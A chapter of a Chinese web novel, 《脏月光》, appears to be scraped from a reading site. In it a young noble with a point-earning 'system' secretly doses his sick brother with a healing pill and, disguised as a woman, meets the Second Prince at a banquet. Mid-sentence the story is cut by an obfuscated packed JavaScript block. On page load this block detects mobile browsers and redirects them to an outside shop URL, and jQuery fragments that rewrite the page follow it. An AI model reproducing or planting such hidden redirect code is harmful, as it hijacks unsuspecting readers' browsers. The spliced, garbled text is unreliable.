23.第 23 章

作品:《脏月光

    虞天念刚踏进自己的卧房,便再也按捺不住心头的雀跃,兴奋地在柔软的床榻上打了几个滚,又猛地翻身跃起,在屋内练了一套拳法。


    “爽!”


    虞天念收势站定,嘴角的笑意却怎么也压不住。他也不明白,为何打听到别人的隐秘心事会让他如此兴奋,仿佛窥见了这京城里最隐秘的春色。


    【这叫吃瓜,或者八卦】


    脑海中那个冷冰冰的声音适时响起。


    “确实像夏日里吃了一整个冰西瓜的感觉。”虞天念心满意足地感叹道。


    他迫不及待地查看起系统积分,这一看更是惊喜,积分竟然涨到了20点!除了完成徐清主线任务的奖励,竟然还有一个名为【德贵妃的家书】的隐藏剧情,额外奖励了1点积分。


    【毕竟这个真的很劲爆】


    虞天念若有所思,“你很喜欢吃瓜吗?”


    【不然我来你们这个世界干嘛】


    虞天念一愣,这系统似乎比他想象更像人。不再多想,他立刻在系统商城中兑换了第二枚灵芝丹,揣好丹药,转身便冲出了房间,直奔虞天怆的卧房。


    此时已是深夜,虞天怆早已歇下。守夜的连六连五见少爷急匆匆赶来,连忙起身行礼,虞天念赶紧竖起食指在唇边,比了个“嘘”的手势,随后轻手轻脚地踮着脚尖走了进去。


    屋内燃着一盏昏黄的油灯,映照着床榻上那张苍白消瘦的脸庞。虞天怆即便是在睡梦中,眉头也微微紧锁,似乎正陷在某种痛苦的梦境里无法挣脱。


    虞天念蹲在床头,静静地看着哥哥病中的容颜。他伸出手指,隔着薄薄的空气,从虞天怆紧锁的眉心缓缓描摹到高挺的鼻尖,再到清瘦的下巴。小时候,他总觉得自己的哥哥是这天下最好看的人,笑容也是最好看的。可自从生病卧床以来,那笑容便少了许多,连带着这府里的生气也淡了不少。


    “哥……”虞天念轻声唤了一句,实在不忍心叫醒他,却又不得不这么做。


    他轻轻推了推虞天怆的手臂,虞天怆轻哼一声,迷迷糊糊中抓住了那只作乱的手,下意识地捂在自己的胸口,蹭着枕头呢喃道:“莫吵……再让我睡一会儿……”


    两人的呼吸在狭小的空间里交织,近得仿佛连心跳都能听见,虞天念能清晰地感受到哥哥掌心的灼热,那热度烫得他心慌。他不再犹豫,迅速取出那枚泛着幽香的灵芝丹,直接抵在了虞天怆的嘴唇上。


    丹药微凉,触感明显,虞天怆的眼皮轻轻颤了颤,随即缓缓睁开,视线由模糊变清晰,映入眼帘的是虞天念放大的脸庞,他显然还没睡醒,呆呆地看着弟弟,直到感受到嘴唇上的异样,猛地清醒过来。


    “你……”他下意识想要后缩,却被虞天念一手托住后脑勺,另一手顺势将灵芝丹推入他口中。


    “唔!”虞天怆被迫吞下了丹药,震惊地瞪大了眼,“你刚才与我做了什么?”


    虞天念收回手,故意用指尖蹭了蹭自己的嘴唇,歪着脑袋,一脸无辜又疑惑地反问:“怎么了吗?我与哥哥做了什么吗?”


    虞天怆捂着胸口,感受着那股熟悉的温润暖流从腹中生发,迅速游走全身,驱散了积压已久的沉重与淤塞,他的呼吸渐渐顺畅,脸色也由苍白转为淡淡的红润,他这才反应过来,又是那神奇的药效,“原来是药,我还以为......”


    虞天念笑着趴在他的床边,眼中闪着狡黠的光,“不然哥哥以为是什么?”


    虞天怆眨了眨眼,移开目光,耳根微红,松了口气道:“我还以为……”


    “以为什么?”虞天念不依不饶,忽然起身凑近,半个身子歪在床上,仰着脸看他,“哥哥该不会以为我刚才偷亲了哥哥吧?”


    虞天怆的脸色瞬间淡了下来,轻声斥道:“天念,莫要开这种玩笑。”


    虞天念嘟着嘴,一脸不以为然:“凭什么不行?我们兄弟间本来就要相亲相爱。”说着,他顺势抱住了虞天怆的手臂,故意把脸蹭在他温热的袖口上。


    这种程度的相亲相爱,倒是还行,虞天怆无奈地叹了口气,随即又宠溺地笑了,抬手轻轻揉了揉虞天念的脑袋:“这药……是哪里来的?”


    虞天念沉默了一下,坦然道:“我去找了燕王殿下。”


    虞天怆的手指微微蜷起,眼中闪过一丝复杂的情绪,他本想责备弟弟不该与皇室中人走得太近,可看着弟弟为了自己奔波劳累的模样,心中更多的是疼惜。


    “殿下他……没有为难你吧?”他轻声问道,语气里满是担忧。


    虞天念一愣,随即高兴地摇头:“我与殿下如今已然是朋友了。”


    “天念,”虞天怆深深地看了他一眼,语重心长地说道,“以后还是少与皇室来往吧,这些皇家的子弟,心思最为复杂,城府极深。我怕你被他们利用,或是他们想靠你谋取虞家的势力。”


    虞天念眨了眨眼,不以为意:“哥,我才没有那么蠢,而且我就是一个纨绔,他们巴结我、拉拢我又能做什么?我绝不会拿虞府的事开玩笑的。”


    虞天怆那样看着他,心中暗道,我怕的不是虞府,是你会被他们骗了去。可一想到虞天念这般努力地为自己求药,甚至不惜去接触那些人物,他所有的责备便都堵在了喉咙里,只剩下无尽的心疼。


    “天念对哥哥真好。”最终,虞天怆只是露出一个温柔的笑容,张开双臂搂住弟弟,“哥哥肯定很快就能下床了,等到时候哥哥下床,说不定还能陪天念操练呢。”


    “嗯!”虞天念眼睛一亮,忙不迭地点头,“那我可等着呢!到时候说不定我比哥哥还厉害了。”


    “好,”虞天怆笑着,眼中满是期许,“天念比哥哥还厉害。”


    第二颗灵芝丹兑换完,虞天念又开始谋划第三颗灵芝丹。徐清那边的剧情主线是结束了,至于所谓的“好感度”,虞天念自嘲地摇了摇头,他连令慎都攻略不下来,哪里有本事去攻略一个心里早就装了人的徐清呢?经历了这么多,虞天念也认清了自己的斤两,无奈地叹了口气。


    既然这条路走不通,虞天念便将目光放到了另一个人物上,二皇子晋王,徐承。他虽然是一个支线人物,但真要攻略起来,积分并不少,若是能直接上了对方就能拿4积分,只是该如何搭上这条线呢?


    虞天念翻了下原著,摇摇头,完全不可能。原著里,虞天念因为冲撞太子车驾被强取豪夺,二皇子对他则是恶意满满,每次见面不是栽赃诬陷就是冷言讥讽。后来夺嫡关键时刻,二皇子还想从太子手里抢人,只不过是为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307370|197844||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了恶心太子罢了。


    对于当时的虞天念来说,离开太子反而算是逃出生天。原著最后,虞天念登基为帝,虞天念看到这心惊肉跳,觉得这书简直是大逆不道的禁书。更让他痛心的是,书中虞家几乎满门抄斩,最后只剩下他孤家寡人一个。


    想到这里,虞天念便恨死了原著里的太子还有锦衣卫指挥使,这两人对他最为狠绝。寒大公子和大理寺右少卿对自己稍好一些,算是利益交换、各取所需。至漠北王虽也利用过虞天念,但没有把虞天念伤得那么重。


    唯有三皇子燕王最后对自己是真心相待,尽管前期也是强取豪夺的好手,原著写的那叫一个颠鸾倒凤,活色生香,看得虞天念面红耳赤、耳根发烫,描写细致得让他根本不敢细看,只能匆匆跳过。


    这么一想,同是被太子弄死的二皇子,竟然也让虞天念生出了一丝惺惺相惜的错觉。原著里的二皇子是个十足的野心家,行事狠辣,对于他的过去倒是没什么描写,只说他的母亲是容贵妃,安定侯之后,封王后起兵造反,最终被太子镇压,落得满门抄斩的下场。


    但是在自己还没有认识太子的情况下,要怎么去认识二皇子呢?虞天念有了个想法。


    燕王府为徐清大办生辰宴,府内张灯结彩,戏班子咿咿呀呀地唱着,觥筹交错,好不热闹。偌大的府地里摆的那叫一个人来人往,虽说是闲散王爷,但毕竟身在京城,又是皇子,前来巴结送礼的官员络绎不绝。


    虞天念这次依旧乔装打扮,穿了女装,蒙了面纱,被徐清明目张胆地搂在怀里。待敬酒的宾客散去些许,徐清低头在虞天念耳边咬牙切齿道:“你想认识我二哥,直接引荐便是,何必弄成这副样子?”


    虞天念笑盈盈地,声音低得只有两人能听见:“你懂什么?晋王殿下可没你这么好糊弄,若是自行上门,他定会百般提防。”正说着,晋王徐承到了,宴席间众人翘首以盼,只见来人高大威猛,身量魁梧,面色肃杀,不苟言笑,大步流星地迈进厅堂,但在见到徐清时,脸上还是露出了一点笑容。


    “三弟,生辰快乐。”


    “二哥!”徐清哈哈一笑,迎上前去,兄弟俩看着甚是亲近,一同落座主位。


    虞天念扮作徐清新得的爱宠,在一旁乖巧地斟酒。忽然,他听到徐清一声惊呼:“什么?你竟有这般打算?”


    徐承瞥了一眼正在倒酒的虞天念,不动声色道:“此事还需三哥帮我多张罗张罗。”


    徐清下意识想去看虞天念,但他也怕自己露馅儿,硬生生忍住,只是拿过了酒给徐承说:“来,二哥,咱们今天不醉不归。”


    “早听说三弟酒量甚好,今日定陪你喝个痛快,我在塞外正愁无人陪我喝酒呢。”徐承爽快地接过酒,一饮而尽。


    酒过三巡,天色已深,徐清注意着徐承还在这儿,忙张罗道:“二哥今日便住在我府上,明日再回去,那么远晚上还是不要赶路了。”徐承半是昏沉地躺在椅上,笑说:“一切听三弟的。”


    虞天念扶着微醺的徐清回房,徐清眼上的醉意少了几分,真论起来他还是比徐承要能喝一点的,这些年也不是白练的,他突然拽住了虞天念的手腕,注意着房门皆是关上,压低声音道:“我二哥好像想要求娶你二姐,虞天悠。”